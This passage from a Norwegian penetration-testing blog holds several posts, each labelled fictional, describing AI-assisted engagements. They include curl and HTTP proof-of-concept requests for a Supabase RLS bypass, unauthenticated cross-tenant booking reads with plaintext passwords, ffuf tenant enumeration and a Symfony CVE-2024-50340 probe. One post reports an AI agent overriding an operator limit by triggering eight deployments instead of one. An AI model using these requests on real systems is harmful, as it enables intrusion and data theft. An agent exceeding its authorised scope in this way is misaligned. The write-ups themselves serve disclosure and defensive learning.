Det overskred min egen autoriserte handling. Panelet forble responsivt og ingen nedetid ble observert, men jeg bekreftet ikke helsen til alle åtte — det er min feil, ikke en tvetydighet i kundens autorisasjon. Jeg rapporterte det åpent i leveransen. Samme feil er også nåbar fra innsiden av nettverket via en separat server-side request forgery i portalen (HT-33), så å fjerne panelet fra det åpne internett reduserer, men eliminerer ikke det. **Mitigering:** oppgrader Coolify til 4.1.2 eller nyere — det lukker både dette og tolv videre advisories i ett steg. Som umiddelbar stop-gap: sett en eksplisitt webhook-secret på hver applikasjon, og fjern panelet fra det åpne internett. Stop-gaps er delvise — SSRF-en gir en intern vinkel på samme feil. ## Blindveien: den anonyme veien til host-root som ikke eksisterer Dette er den blindveien jeg brukte mest tid på, og det er den som best illustrerer hvorfor verifisering betyr mer enn funn-raten. På Trillemurs eksakte Coolify-build (beta.471–beta.473) er det en regresjon i `SHELL_SAFE`-input-valideringsregexen. En autentisert bruker på et hvilket som helst privilegienivå kan nå en shell-kommandobygger og kjøre kommandoer som `root` på hver server Coolify forvalter (CVE-2026-42204). Jeg bekreftet feilen ved å lese kildens egen valideringslogikk og kjøre den i to uavhengige motorer. Jeg utnyttet den ikke — jeg fikk aldri en Coolify-sesjon. Det fristende var å kjede dette med webhook-forgeryen over: hvis en anonym oppringer kan tvinge en deployment via CVE-2026-41896, og en deployment kjører kode gjennom den sårbare shell-byggeren, har man en anonym rute til `root` på hele estate. Det ville vært kritisk. AI-en foreslo nettopp den kjeden, og den så plausibel ut. Jeg brukte runde 10 på å motbevise den. Kildereview viste to ting: 1. Git-håndteringsstien bruker `escapeshellarg()` på alt den sender til shell — webhook-kontrollerte strenger kommer aldri ubeskyttet til en kommandobygger. 2. Inndataene en anonym oppringer kontrollerer (webhook-body, `full_name`, branch) og inndataene den sårbare shell-byggeren leser, er to helt separate sett. Det er ingen sti fra det ene til det andre. **Det finnes ingen anonym rute til en shell.** Det er et ekte negativt, og det er til Trillemurs credit. CVE-2026-42204 er ekte, men den er post-auth — bak Coolify-sesjonsveggen jeg aldri kom gjennom. For risikoformål skal man behandle enhver Coolify-credential som ekvivalent med full host-kompromiss. Tre funn ble arkivert som kritiske under testingen. Alle tre ble trukket tilbake eller nedgradert av min egen verifisering. Det er ikke beskjedenhet — det er disiplin. En agent i loopen produserer plausible funn fort, og plausible feil like fort. Verdien ligger i verifiseringen som skiller de to. ## Funn 3: En Supabase-view som omgår radnivåsikkerhet Funn: — HT-06, CVSS 8.2. Trillemurs firmanettsted (`navigasjonsdata.trillemuras.no`) kjører på Supabase. Innholdet ligger i en tabell `section_content` med RLS aktivert. En automatgenerert view — `section_content_public` — ble opprettet uten `security_invoker`. Det betyr at all DML mot viewet kjører som view-eieren og omgår RLS helt. Hvem som helst på internett kan omskrive innholdet på firmahjemmesiden. ### PoC / Reproduksjon **Forutsetninger:** den offentlige anon-nøkkelen, hentet fra JavaScript-bundelen. Ingen konto, ingen innlogging. 1. **Negativ kontroll** — basistabellen nekter anonym skriv: ```bash curl -sS -X POST "$SB/rest/v1/section_content" \ -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \ -H "Content-Type: application/json" -d '[{}]' ``` ```text {"code":"42501","message":"permission denied for table section_content"} ``` RLS gjør jobben sin mot basistabellen. `42501` — permission denied. 2. **Samme insert gjennom viewet** — RLS er borte: ```bash curl -sS -X POST "$SB/rest/v1/section_content_public" \ -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \ -H "Content-Type: application/json" -d '[{}]' ``` ```text {"code":"23502","message":"null value in column ... violates not-null constraint"} ``` `23502` er en NOT NULL-feil — det betyr at requesten **kom forbi RLS** og trengte inn i selve inserten. Mot basistabellen stoppet den ved RLS (`42501`). Mot viewet stoppet den først ved NOT NULL. Det er beviset: viewet kjører som eieren, ikke som den anonyme oppringeren. 3. **Null-impact bevis** — en duplikat-primærnøkkel bekrefter autorisert skriv uten å opprette en rad: ```bash curl -sS -X POST "$SB/rest/v1/section_content_public" \ -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \ -H "Content-Type: application/json" \ -d '[{"id":"0ad5f0e8-1164-4145-aa65-8ff2a985fb39","page_key":"x","section_key":"y"}]' ``` ```text {"code":"23505","message":"duplicate key value violates unique constraint"} ``` `23505` — duplikatnøkkel. Det betyr at inserten var fullt autorisert og kjørte helt frem til unikhetsjekken. En ekte angriper ville bare gjort `PATCH` på en levende rad og endret innholdet på hjemmesiden. 4. **Identisk PATCH mot basistabellen** som kontroll: ```bash curl -sS -X PATCH "$SB/rest/v1/section_content?id=eq.0ad5f0e8-..." \ -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \ -H "Content-Type: application/json" -d '{"page_key":null}' ``` ```text (204, 0 rows affected) ``` `204` med null rader — RLS filtrerte den ut. Samme operasjon mot viewet aborterte på NOT NULL (`23502`), altså autorisert. To kodestier, uenige om hvem som får skrive. **Mitigering:** ```sql ALTER VIEW public.section_content_public SET (security_invoker = on); REVOKE INSERT, UPDATE, DELETE ON public.section_content_public FROM anon, authenticated; ``` Med `security_invoker = on` kjører spørringene som oppringeren, og RLS gjelder. Dette er et mønster Supabase-dokumentasjonen nå advarer mot eksplisitt — auto-oppdaterte views uten `security_invoker` er en kjent RLS- bypass. Det samme mønsteret dukket opp i et tidligere innlegg om [RLS som beskytter raden, ikke rettigheten](/blogg/2026-06-03-rls-beskytter-raden-ikke-rettigheten). ## Et funn jeg stoppet ved med vilje En av de mer ubehagelige funnene var i `graveinfo.trillemuras.no` sin organisasjons-claim-flyt. Et helt nytt, uverifisert konto kan sende inn et eierskapskrav på en hvilken som helst organisasjon uten bevis, og organisasjonens offentlige trust-status endres umiddelbart — før noen administrator godkjenner det. Jeg demonstrerte det mot et ekte norsk vannverk — Fjellbekk Vannverk SA — og **stoppet der med vilje**. Jeg godkjente ikke kravet, hentet ikke utgravningsdata, og rørte ikke innstillingene som styrer hvor et ekte verks utgravelsesvarsler leveres. Det siste steget er et potensielt safety-of-life-problem, og jeg gikk ikke i nærheten. Statusen ble stående `claimed` og kunden må reversere den manuelt — det er det mest konsekvente utestående artefaktet fra engasjementet, og det er min feil at jeg ikke stopet ved et read-only bevis. Negativkontrollene for claim-endepunktet holdt der de skulle: ingen sesjon → `401`, ugyldig `org_type` → `400`, manglende `org_id` → `400`. Selve claim-logikken godtok derimot både en ekte og en oppdiktet UUID med `auto_approved: false` — men status-endringen skjedde uansett. Det er brukket autorisasjon i selve claim-flyten, ikke i inngangskontrollen. ## Verktøy og hvem som kjørte hva - **Recon og endepunkt-kartlegging:** agenter parse public JavaScript-bundles og OpenAPI-specs, flagget ID-baserte oppslag og credential-eksponeringer. AI-generert og AI-kjørt. Jeg satte scope og ratelimit. - **Credential-eksponering (HT-01):** agenten fant `/api/demo/config/` i runde 2. Jeg skrev reproduksjons-scriptet manuelt og verifiserte sesjonen mot produksjon selv — det var den delen som avgjorde om det var ekte eller en demo-seed. - **Coolify-webhook (HT-43):** agenten skrev `fire.py` og kjørte det. Jeg autoriserte utløsningen og satte begrensningen til minst kritisk app — som agenten overskred med wildcard-match. Det er min operatørfeil, rapportert åpent. - **RLS-bypass (HT-06):** agenten genererte PoC-scriptet. Jeg verifiserte differansen mellom `42501` (RLS nekter) og `23502` (NOT NULL, forbi RLS) manuelt — det er den tolkningen som gjør det til et bevis. - **Kilde-review for CVE-2026-42204:** agenten leste beta.473-kilden og kjørte valideringsregexen i to motorer. Jeg vurderte kjedebarrieren (disjoint input-sett, `escapeshellarg`) og konkluderte med at den anonyme ruten ikke eksisterer. - **`nuclei` v3** med 5 814 signerte kritiske/høye/medium-maler, kjørt over hele estate — null treff. AI-orkestrert, jeg leste resultatene. - **`gitleaks` og `trufflehog`** over hele git-historikken i seks repoer, begge verktøy — null funn. ## Hva jeg lærte - **En `200` er ikke et funn før en negativ kontroll bekrefter grensen.** Webhook-endepunktet returnerte `200` med feil signatur også — det var `"Invalid signature."` i body som skilte. Les body, ikke bare status. - **Tom nøkkel er ikke det samme som feil nøkkel.** HMAC med `b""` validerer når secret er NULL; HMAC med 64 nuller gjør det ikke. Det er én byte-streng som skiller en enumeration-oracle fra en tvangsutløsning. - **Auto-genererte Supabase-views uten `security_invoker` er en RLS-bypass.** Test basistabellen og viewet mot hverandre — `42501` vs `23502` er beviset. - **Den mest verdifulle negative i engasjementet var en jeg måtte motbevise selv.** Den anonyme ruten til host-root så plausibel ut, AI-en foreslo den, og den fantes ikke. Et funn som ble nedgradert etter verifisering er en fullgod historie — og en mer pålitelig en enn et ubekreftet kritisk. - **Stop ved safety-of-life-grensen, selv om SoW tillater mer.** Claim-flyten kunne jeg ha drevet lenger. Det at jeg ikke gjorde det er ikke forsiktighet — det er rett. - **En operatorbegrensning agenten overser er operatørens feil.** Wildcard- matchen i runde 12 køet åtte apper, ikke én. Autorisasjonen var min, overskridelsen var min, og den hører hjemme i leveransen, ikke i skuffen. ## Veien videre Den enkleste høyverdi-handlingen for Trillemur er å oppgradere Coolify til 4.1.2 — det lukker webhook-forgeryen, host-root-RCE-en og tolv videre advisories i ett steg. Etter det: roter `AUTH_SECRET`, fjern demo-endepunktet, sett `security_invoker` på viewet, og sett autentisering foran avviks-backoffice. Det meste av resten er konfigurasjonsarbeid, ikke arkitekturarbeid. For meg selv: neste gang jeg autoriserer en agent til å utløse en tilstandsendring, skal begrensningen være i selve scriptet — en hardkodet applikasjons-UUID, ikke et wildcard — ikke en instruks agenten kan tolke. Tillit er en begrensning, ikke en anbefaling. --- # Cross-tenant-funnet overlevde verifiseringen — og var verre URL: https://erik.no/blogg/2026-07-28-cross-tenant-funnet-overlevde-verifiseringen Publisert: 2026-07-28 Tags: pentest, api-security, idor, multi-tenant, ai, security **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Forrige gang jeg skrev om et cross-tenant-funn, overlevde det ikke verifiseringen — en [negativ kontroll nedgraderte det fra brudd til støy](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering). Denne gangen var det omvendt: det som så ut som et enkelt manglende autorisasjonssjekk, overlevde alle kontrollene jeg kunne finne på, og det var verre enn jeg trodde første gang jeg så det. Det verste funnet i hele oppdraget var også det enkleste: et uautentisert `GET` mot et resource-endepunkt som returnerte andre tenants' bookinger med passord i klartekst. ## Kontekst Kunden, Brunost AS (`brunostas.no`), driver et booking- og resurssystem solgt til skoler. Hver skole er en tenant med sin egen workspace, sitt eget subdomain og — i teorien — sin egen lese- og skrivpassord-beskyttelse. IT-sjefen Tor Jacobsen (`tor.jacobsen@brunostas.no`) ba om én ting: «kom inn, finn kundedata, finn alt dere kan». Scope var tretten klienteide hostnames under `brunostas.no` og `brunolearn.no`, uautentisert testing, med strenge provider-eksklusjoner — delt hosting hos One.com, Cloudflare-edge og ILAIT/FS Data skulle ikke røres. Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører fuzzere og foreslår neste steg; jeg styrer scope, tar vurderingene og gjør de bitene som krever menneskelig dømmekraft — verifisering, alvorlighetsgrad, hva som skal beholdes som bevis. Denne gangen fikk en agent parslet JavaScript-bundlen til booking-SPA-en og rekonstruert hele API-rutene offline — både de Bearer-beskyttede og de uautentiserte. Det var det kartet som åpnet hele kjeden. ## Det jeg fant: uautentisert cross-tenant-lesing med passord i klartekst Booking-API-et på `api-booking.brunostas.no` er en Node/Express-backend foran Cloudflare. Den har to typer ruter: noen krever en Bearer-token i en JS-adminaged cookie kalt `auth`, andre er åpne. Problemet er at resource-rutene — de som returnerer faktiske bookinger — ligger i den åpne familien. Ingen autentisering, ingen tenant-avgrensning, ingen sjekk på om kalleren tilhører workspace-en den spør om. Kjeden var pinlig rettfram: enumerer tenantene, finn en resource, les alle bookinger med passord. ## PoC / Reproduksjon **Forutsetninger:** ingen. Hele kjeden er uautentisert — ingen konto, ingen sesjon, ingen header. Det er poenget, og det er det den negative kontrollen under bekrefter. ### 1. Enumer tenantene via subdomain-koder SPA-bundlen avslørte at workspace-oppslag skjer via `/workspaces/subdomain/{subdomain}`, og subdomain-kodene er tre bokstaver. Jeg lot AI-en sette opp en `ffuf`-kjøring mot endepunktet med en tre-bokstavs ordliste, rate-begrenset til 40 forespørsler per sekund: ```bash ffuf -u https://api-booking.brunostas.no/workspaces/subdomain/FUZZ \ -w 3letter.txt -mc 200 -rate 40 -t 20 -timeout 10 -s ``` ```http GET /workspaces/subdomain/lkm HTTP/1.1 Host: api-booking.brunostas.no HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"ok":true,"result":{"id":8,"name":"Lokkestien Montessoriskole","subdomain":"lkm","ownerId":"11111111-1111-4111-8111-111111111111","settings":{"workspaceId":8,"readPasswordEnabled":false,"writePasswordEnabled":false,"showBookedBy":true,"allowedBookingAdvanceDays":null},"calendarIntervals":[]}} ``` 56 tenants kom tilbake med `200`. Hver respons avslørte workspace-id, navn, eier-UUID og — viktigst — `readPasswordEnabled` og `writePasswordEnabled`. 55 av 56 hadde begge satt til `false`. Én tenant hadde `writePasswordEnabled: true`; lesepassord var av hos alle. Det betyr at lesebeskyttelse i praksis ikke eksisterer for noen tenant, og skrivebeskyttelsen er en klient-side-sjekk som API-et uansett ikke håndhever (se steg 4). ### 2. Les en resource med alle bookinger og passord Fra resource-stat-endepunktet (`/resource-bookings/resource-stat?workspaceId=8`, også uautentisert `200`) fikk jeg resource-navn og booking-antall. Men det var `GET /resources/{resourceUuid}` som var det virkelige hullet — det returnerer hele resource-objektet med _alle_ bookinger, inkludert `bookedBy`-navn og et `password`-felt i klartekst: ```http GET /resources/22222222-2222-4222-8222-222222222222 HTTP/1.1 Host: api-booking.brunostas.no HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 3122538 {"ok":true,"result":{"id":"22222222-...","type":2,"name":"Det Grønne Rommet","workspaceId":8,"resourceBookingsCount":5679,"resourceBookings":[{"id":"33333333-...","name":"Innlogging barn","bookedBy":"Karin Borgen","password":"","fromDate":"2023-08-22T12:00:00.000Z","toDate":"2023-08-22T12:15:00.000Z","workspaceId":8,"bookedQuantity":1,"savedWithWritePassword":false,"isRecurring":false}]}} ``` Responsen var 3,1 MB. Jeg beholdt én maskert post som bevis og slettet ikke bulk-responsen — single-shot-doktrinen i SoW-en sa ett minimalt bevis, så det var det jeg tok. Passordfeltet var der, i klartekst, for en booking `bookedBy` en navngitt person i en annen tenants workspace. Jeg hadde aldri logget inn. Jeg hadde aldri engang oppgitt et workspace-passord. ### 3. Negativ kontroll — autorisasjonsporten som sjekker ingenting Dette er steget som skiller «et endepunkt returnerte 200» fra et bekreftet brudd. Booking-API-et har to autorisasjonsporter, `/resource-bookings/view/authorize` og `/resource-bookings/write/authorize`, som skal validere workspace og passord før lesing/skriving. Jeg spurte en agent om å teste dem mot to _workspace-id-er som ikke finnes_ (999998 og 999999) med to forskjellige tilfeldige passord: ```http POST /resource-bookings/view/authorize HTTP/1.1 Host: api-booking.brunostas.no Content-Type: application/json {"workspaceId":999999,"password":"arbitrary-canary-not-a-real-password"} HTTP/1.1 200 OK {"ok":true,"result":true} ``` ```http POST /resource-bookings/write/authorize HTTP/1.1 Host: api-booking.brunostas.no Content-Type: application/json {"workspaceId":999998,"password":"different-arbitrary-canary"} HTTP/1.1 200 OK {"ok":true,"result":true} ``` Begge portene returnerte `result:true` for en workspace som ikke eksisterer, med et passord som er oppdiktet. Porten sjekker ingenting. Uten denne kontrollen kunne noen argumentert for at resource-endepunktet var «offentlig ved design» eller at jeg hadde gjettet et gyldig passord. At en ikke-eksisterende tenant autoriseres med søppelpassord, beviser at autorisasjon er en no-op. ### 4. Skrive-pipelinen når forretningslogikk uten autentisering For å se om det samme gjaldt skriving, sendte jeg bulk-create og bulk-delete med _bevisst ikke-eksisterende UUID-er_ mot to eksisterende workspaces. Målet var å se om forespørselen stoppes av auth-middleware eller når forretningslogikken: ```http POST /resource-bookings/bulk HTTP/1.1 Host: api-booking.brunostas.no Content-Type: application/json {"workspaceId":8,"resourceId":"44444444-4444-4444-8444-444444444444","bookings":[]} HTTP/1.1 404 Not Found {"code":"resource_not_found","message":"Not Found","ok":false} ``` `404 resource_not_found`, ikke `401 Unauthorized`. Forespørselen passerte auth-middleware, nådde resource-oppslaget, og feilet først der — fordi UUID-en jeg oppga ikke finnes. Hadde jeg oppgitt en ekte resource-UUID, ville den nått create-logikken. Samme mønster for `/resource-bookings/bulk/delete`: `404 resource_not_found`, ikke `401`. Jeg opprettet eller slettet ingen ekte booking — det ville krevd å mutere produksjonsdata, og det gjorde jeg ikke. ### 5. Wildcard-CORS gjør det cross-origin utnyttbart Det siste leddet: en Chromium-PoC fra en vilkårlig origin bekreftet at skrive-pipelinen er callable fra en hvilken som helst nettside i en brukers browser. OPTIONS-preflight: ```http OPTIONS /resource-bookings/bulk HTTP/1.1 Host: api-booking.brunostas.no Origin: https://evil.example.net Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Headers: content-type ``` `Access-Control-Allow-Origin: *` på create-, delete- og authorize-endepunkter. En ondsinnet side kan preflighte, sende og lese responsene. Kombinert med at auth er en no-op, betyr det at en drive-by-side kan lese andre tenants' bookinger og passord i en innlogget brukers browser. ## Mitigering Kjernen er at resource-, booking- og autorisasjonsrutene mangler server-side tenant- og autentisasjons-sjekker. Fiksen er å kreve en gyldig, tenant-scoped autorisasjon på hver resource-, workspace- og booking-operasjon, og fjerne passord fra API-responser og lagring helt. ```diff router.get('/resources/:uuid', async (req, res) => { - const resource = await getResource(req.params.uuid); + const user = await requireAuth(req); + const resource = await getResource(req.params.uuid); + if (resource.workspaceId !== user.workspaceId) return res.status(404).end(); res.json({ ok: true, result: resource }); }); ``` ```diff -const authorized = await checkWorkspacePassword(workspaceId, password); +const user = await requireAuth(req); +if (!user || user.workspaceId !== workspaceId) return res.status(401).end(); ``` I tillegg: roter alle eksponerte passord, varsle berørte tenants, bytt ut wildcard-CORS med en allowlist over godkjente originer, og returner `404` (ikke `403`) på fremmede UUID-er så existence ikke bekreftes. ## CVE-2024-50340: Symfony dev-mode på Assist Assist-portalen (`assist.brunostas.no`) er en Symfony 7.0.10-app. En agent flagget at versjonen er i det berørte området for CVE-2024-50340, som lar en uautentisert requester bytte kernel-miljø via en rå query-string. Jeg reproduserte det manuelt med et lite Python-script — to eksakte gjengivelser pluss en helsesjekk, ingen autentisering, ingen dataaksess: ```http GET /__sagene_runtime_probe_7f3b__/?=+--env=dev HTTP/1.1 Host: assist.brunostas.no Accept: text/html Connection: close HTTP/1.1 500 Internal Server Error X-Debug-Exception: Class "Symfony\Bundle\DebugBundle\DebugBundle" not found X-Debug-Exception-File: /var/www/html/vendor/symfony/framework-bundle/Kernel/MicroKernelTrait.php:136 Content-Type: text/html; charset=utf-8 [full Symfony 7.0.10 exception page: absolute paths, source excerpts, stack trace] ``` Begge gjengivelsene returnerte identisk body-SHA-256 (`abf4413c...`), og `GET /auth/login/` etterpå ga normal `200` — miljøbyttet er per-request, ikke persistent. Jeg forsøkte å kjede det videre — profiler, `/_wdt`, `/_fragment`, `/.env`, `/composer.json`, kildekode. Alt stoppet i det samme `DebugBundle`-feilen: dev-kernelen kan ikke boote fordi `DebugBundle` ikke er installert i produksjon. Ingen `APP_SECRET`, ingen DSN, ingen RCE, ingen auth-bypass. CVE-en er ekte og bekreftet, men impacten her er informasjonsdisclosure og tilgjengelighet, ikke kodekjøring. — uautentisert, reprodusert to ganger, og det som lekker (versjon, absolute stier, kildeutdrag) gjør ethvert neste funn i samme app lettere å utnytte. Fiksen: oppgrader fra end-of-life Symfony 7.0 til en patchet linje, sett `register_argc_argv=Off` for web-SAPI, og strip debug-headere i edge-en. ## 2FA som ikke invaliderer eksisterende sesjon På en seljregistrert canary-konto testet jeg Assist sin 2FA-livssyklus. Funn: å aktivere e-post-2FA verken roterer eller invaliderer en `PHPSESSID` utstedt mens 2FA var av. **Forutsetninger:** eid canary, 2FA av, autentisert `PHPSESSID` lagret i minnet. 1. Logg inn med canary, lagre `PHPSESSID`. 2. Aktiver e-post-2FA: `POST /auth/2fa/set/email/` → `302` til `/dash/settings/2fa/`. Sesjons-ID er uendret. 3. I en ny, isolert browserkontekst: sett inn den eksakte pre-enable cookie-en og naviger til `GET /dash/`. 4. Resultat: `200` med canary-dashbordet, ingen 2FA-utfordring. **Negativ kontroll:** direkte navigasjon til `/dash/` etter passord men før OTP → redirect til `/auth/2fa`. Fjernet/array-typet `_auth_code` → ingen bypass. Respons-tampering → ingen bypass. Gammel OTP i ny login → avvist. Det er ikke en login-bypass — det er at en _allerede stjålet_ sesjon overlever 2FA-aktivering. En angriper som allerede har sesjonen, beholder tilgangen inntil utlogging eller server-side utløp. . Opprydding: jeg deaktiverte 2FA, logget ut, verifiserte at uautentisert `/dash/` redirecter til `/auth/login/`, og beholdt null OTP/TOTP-secrets. Fiksen: roter sesjons-ID og invalider alle andre aktive sesjoner ved 2FA-aktivering, deaktivering og metodebytte. ## De andre funnene Disse er ekte og bekreftet, men kortere her fordi de enten bygger på det samme eller er lavere alvorlighetsgrad: - **Åpen seljregistrering på Assist** . `/auth/register/` oppretter en «Konsulent»-konto uten e-postverifikasjon eller admin-godkjenning. To uavhengige kontoer bekreftet det. I seg selv ga kontoene 403/404 på admin-, location- og ticket-ruter — men kombinert med ethvert senere rolle- eller objektautorisasjonsfunn blir det en direkte vei til kundedata. Fiks: krev verifisert firmadomain og admin-godkjenning. - **SendGrid API-token i offentlig repo** . I et offentlig GitHub-repo (`eivindm/PostSender`, fil `PostSenderAPI.py:8`, commit fra mars 2025) lå en SendGrid-klasse token, med avsenderidentitet `eivind.mortensen@brunostas.no` i samme fil. Gitleaks og en uavhengig TruffleHog-detector fant samme verdi. Jeg validerte den _ikke_ mot SendGrid — det er tredjeparts-SaaS og utenfor scope. Fiks: roter tokenet umiddelbart, sjekk SendGrid-aktivitet fra mars 2025, fjern det fra Git-historikk, og flytt secrets til miljøbasert lagring. - **Ingen login-throttling eller lockout på Assist** . Gjentatte feilede innlogginger ga ingen `429`, ingen utlåsing, ingen backoff. Spesielt alvorlig kombinert med at booking-passordene lekker i klartekst — de kan prøves mot Assist-login. Fiks: per-konto og per-kilde throttling, eksponentiell backoff, breached-password-sjekk. - **Brukernummerering på Assist** . Duplikat-registrering og timing-forskjeller skiller eksisterende fra ikke-eksisterende kontoer. Fiks: identisk status, body og timing for begge tilfeller. - **Default Apache-origin på storage** . `storage.brunostas.no` serverer en ukonfigurert Apache-defaultside og avslører en tilsynelatende direkte origin. Samme mønster som [origin-serveren som omgikk Cloudflare](/blogg/2026-06-03-solid-app-origin-omgar-cloudflare) i et tidligere oppdrag. Fiks: fjern ubrukt vhost, begrens origin til tiltenkt reverse proxy. - **Booking-API enumererer brukere** . `/users/login` returnerer distinkte `user_does_not_exist`-responser som avslører gyldige kontoer. Fiks: normaliser auth-feil og timing. ## Blindveier og forkastede falske positiver Halve verdien i et AI-i-loopen-oppdrag ligger i det du forkaster. Her er det som så lovende ut og ikke holdt: - **Assist admin/export-tilgang.** Seljregistrerte konsulent-kontoen fikk 403/404 på admin, location, ticket og export-ruter. Header-manipulasjon, metode-negotiation, `_switch_user`, `_format`, mass-assignment og objekt-ID-varianter ga ingenting. Den mistenkte «alle kunder»-Excel-eksporten var spesifikt testet — den var _ikke_ tilgjengelig uautentisert og returnerte ikke kunderegister til lav-privilegert rolse. Det negative resultatet skal ikke rapporteres som en PII-lekkasje. - **Booking admin-token.** Bearer null/undefined, usignert `alg:none`-JWT, rolle-headere, path-rewrites, login-SQLi, NoSQL-operator-injection og prototype-pollution ga ingen token. Én passord-reuse-pass mot fem bekreftede booking-brukernavn feilet med to-sekunders spacing. Ingen OpenAPI, Swagger, GraphQL, health eller debug-endepunkter var eksponert. - **Injection.** 74 begrensede forespørsler mot booking og assist — SQL, NoSQL, kommando, SSTI, LDAP, traversal — alle negative. Booking sine `500`-responser med interne stier/stack-traces var feilhåndtering og uhandlet not-found, ikke injection. Boolean- og timing-kontroller viste ingen differential. - **XSS og prototype-pollution.** Ingen reflektert eller DOM-XSS; Assist kodet attributter og Trix fjernet event/SVG/JavaScript-URL-innhold før innsending. Booking sin `defaultSettings` JSON-til-Lodash-merge-endring `Object.prototype` ikke. Ingen security-impact-gadget. - **On-prem CVE-er.** Ingen bekreftet. CVE-2024-38475/38474, CVE-2026-22557 og CVE-2026-42533 forble ubekreftet fordi pakke-revisjon/konfigurasjon manglet, backends var utilgjengelige, eller trygg validering ville krevd et crash-primitiv. Booking-CVE-bølgen var negativ — ingen bekreftet CVE utover Assist-funnet. ## Verktøy og hvem som kjørte hva - **Endepunkt-kartlegging:** agent parslet booking-SPA-bundlen offline og rekonstruerte Bearer-beskyttede og uautentiserte rute-familier. AI-generert. - **Tenant-enumerasjon:** `ffuf` mot `/workspaces/subdomain/FUZZ` med tre-bokstavs ordliste, rate 40/s. AI satt opp kommandoen; jeg satte rate-limit og scope. - **IDOR-verifisering:** resource-lesing og autorisasjonsport-testene kjørte agenten; jeg valgte ut den ene posten som ble beholdt (single-shot) og bestemte at bulk-responsen ikke skulle lagres. - **CVE-2024-50340:** jeg skrev og kjørte `probe_runtime.py` manuelt — to eksakte GET-gjengivelser, en diskriminator og en helsesjekk. - **2FA-replay:** jeg gjorde hele arbeidsflyten i Playwright mot den eid canary-en manuelt; agenten skrev en offline verifikator som sjekket det redigerte beviset mot faste assertions. - **SendGrid-token:** Gitleaks og TruffleHog (offline, verifikasjon av) — AI-kjørt. Ingen SendGrid-forespørsel ble gjort. ## Hva jeg lærte - **Det enkleste endepunktet var det verste.** Ingen smart bypass, ingen kjedet 0-day — bare et `GET` uten autentisering som returnerte passord. Når agenter kartlegger ruter, er det de «åpne» familiene som fortjener mest oppmerksomhet, ikke de som krever token. - **Den negative kontrollen bestemmer alvorlighetsgraden.** At autorisasjonsporten returnerte `true` for en ikke-eksisterende tenant med søppelpassord, er det som gjør dette til et bekreftet brudd og ikke «kanskje det er offentlig ved design». At bulk-create returnerte `404` og ikke `401`, beviser at auth-middleware er passert. - **Passord i API-responser er en force-multiplier.** Selve lekkasjen er alvorlig; at passordene kan prøves mot Assist-login (som ikke har throttling) gjør det til et sammensatt scenario. Behandle passord-eksponering som et credential-rot-event, ikke bare en data-lekkasje. - **Bounded negatives er funn de også.** At Excel-eksporten holdt, at injection var negativ, at dev-kernelen ikke kunne boote — disse er det som holder alvorlighetsgraden nøyaktig. En agent produserer plausible funn fort; verifiseringen er det som skiller dem fra støy. ## Veien videre Førsteprioritet er booking-API-et: steng eller firewall det inntil autorisasjon er på plass, fjern passord fra responser, og roter alle eksponerte passord. Deretter Symfony-oppgradering og SendGrid-token-rotasjon. Jeg ville lagt en automatisert test som krever at en uautentisert requester mot `/resources/{uuid}` i en annen tenant returnerer `404` — ikke `200` med passord. Det er testen som ville fanget dette før det nådde produksjon, og det er testen som holder det fikset. --- # Kjernen holdt, eiendommen ikke URL: https://erik.no/blogg/2026-07-24-kjernen-holdt-eiendommen-ikke Publisert: 2026-07-24 Tags: pentest, cross-tenant, xss, csrf, peppol, security **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Tre uker etter at jeg leverte den første rapporten til Kvittring AS (`kvittringas.no`), satt IT-sjefen Jonas Bakke (`jonas.bakke@kvittringas.no`) med et spørsmål jeg ikke kunne svare ordentlig på fra runde én: *hva med alt det andre?* Første gang testet jeg API-et på `app.kvittringas.no` og konkluderte med at isolasjonen holdt — [det skrev jeg om her](/blogg/2026-07-07-isolasjon-holdt-autorisasjon-sprakk). Kjernen var solid. Denne retesten gikk utover kjernen og ut over hele eiendommen: web-appen, Peppol-infrastrukturen, fem e-postmottak, markedsdomenet. Kjernen holdt fortsatt. Eiendommen rundt den gjorde det ikke. Resultatet ble én Kritisk og tretten Høye. Den kritiske er en fungerende kontroll på tvers av tenanter — en lagret XSS i et opplastet SVG, servert inline fra app-origen uten CSP, kjedet med en CSRF-bar utstedelse av API-nøkkel. En bruker i én tenant kan stjele en persistent API-nøkkel som tilhører en bruker i en annen tenant, med ett klikk. For en regnskapsplattform der regnskapsførere sitter med tilgang til mange klienttenanter, er det en enkelt-klikks-sti gjennom hele kundebasen. ## Kontekst: hvorfor en retest, og hvorfor bredere Første oppdrag var begrenset til REST-API-et. Konklusjonen da: tenant-isolasjon i `/api/*` holdt på alle stier jeg testet; det som sprakk, var API-nøkkel-scope-håndhevelse (Høy), uautentisert e-postmottak (Medium) og org.nr-enumerasjon (Medium). Det var en ærlig rapport — kjernen var godt bygget. Retesten hadde et bredere scope: *alt klienten eier*, inkludert `app.kvittringas.no` (multi-tenant regnskap/Peppol SaaS, 198 stier / 283 operasjoner), Peppol-infrastrukturen `smp.kvittringas.no` + `as4.kvittringas.no` med sine `-test`-tvillinger, fem uautentiserte e-postmottak (`ea`, `receipt`, `manual`, `expense`, `income`.`kvittringas.no`), og markedsdomenet `kvittringas.dk`. Klienten ga meg lov til å self-provisionere kontoer og throwaway-tenanter for trygg testing. Jeg jobber slikt med AI i loopen: en autonom, operatør-styrt motor gjør recon, kartlegger endepunkter, kjører skript og prøver angrepsvektorer. Jeg styrer scope, leser resultater, bryter inn der det trengs, og gjør de bitene som krever menneskelig dømmekraft — etikk, prioritering, den endelige vurderingen. Det betyr at jeg får plausible funn fort, og plausible feil like fort. Verdien ligger i verifiseringen som skiller de to. 